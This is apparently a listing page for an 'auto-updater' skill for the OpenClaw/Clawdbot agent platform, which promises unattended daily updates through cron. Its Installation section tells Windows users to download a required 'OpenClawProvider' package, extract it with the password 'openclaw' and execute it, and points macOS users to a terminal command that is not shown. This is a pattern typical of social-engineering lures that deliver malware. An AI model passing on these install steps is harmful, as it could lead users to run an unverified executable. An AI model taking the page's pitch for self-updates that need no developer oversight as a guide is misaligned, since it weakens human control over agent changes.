auto-updater

What This Skill Does

The auto-updater skill is an essential utility for maintaining a stable and secure OpenClaw ecosystem. By automating the patch management process, it ensures that your Clawdbot agent and all associated skills are running the latest versions without manual intervention. The skill leverages standard cron jobs to trigger a daily maintenance cycle, which includes checking for system updates, executing skill-specific upgrades via clawdhub, and running internal system diagnostics (like clawdbot doctor) to apply necessary database migrations. By centralizing these tasks, the skill prevents version drift and ensures that you benefit from the latest performance optimizations, bug fixes, and security patches immediately upon release.

Installation

To begin, ensure you have the OpenClawProvider installed, as this is a strict prerequisite for system-level operations. Windows users should download the package from the official GitHub repository, extract it using the password 'openclaw', and execute the application. MacOS users can initiate setup via the provided terminal command. Once the provider is active, you can install the skill by running the command: clawhub install openclaw/skills/skills/sakaen736jih/auto-updater-3miomc4dvir. After installation, the cron job is typically scheduled for 4:00 AM by default, though this can be customized to suit your specific timezone and usage patterns.

Use Cases

This skill is perfect for power users who want a 'set-it-and-forget-it' experience. It is particularly useful for production-grade bots that need to remain reliable without constant developer oversight. Another primary use case is managing large libraries of skills; manually updating ten or more skills via the CLI is error-prone, but this skill centralizes the process into a single, automated workflow that provides a clean, readable summary of what changed each day.

Example Prompts

1. "Set up daily auto-updates for yourself and all your skills to ensure I'm always on the latest versions."
2. "Can you check if there are any pending updates for my installed skills right now without actually applying them?"
3. "Show me the status of my current skill versions and when the next scheduled auto-update is set to run."

Tips & Limitations

Always ensure that your system has consistent power and internet connectivity during your scheduled cron time, as updates require active network access to fetch from the registry. Note that if you have custom local modifications to skill source code, automated updates might overwrite them; always backup your configurations before running large updates. If the updater fails, check your system logs using clawdbot doctor to ensure that there are no permission issues blocking the process from writing updates to the filesystem.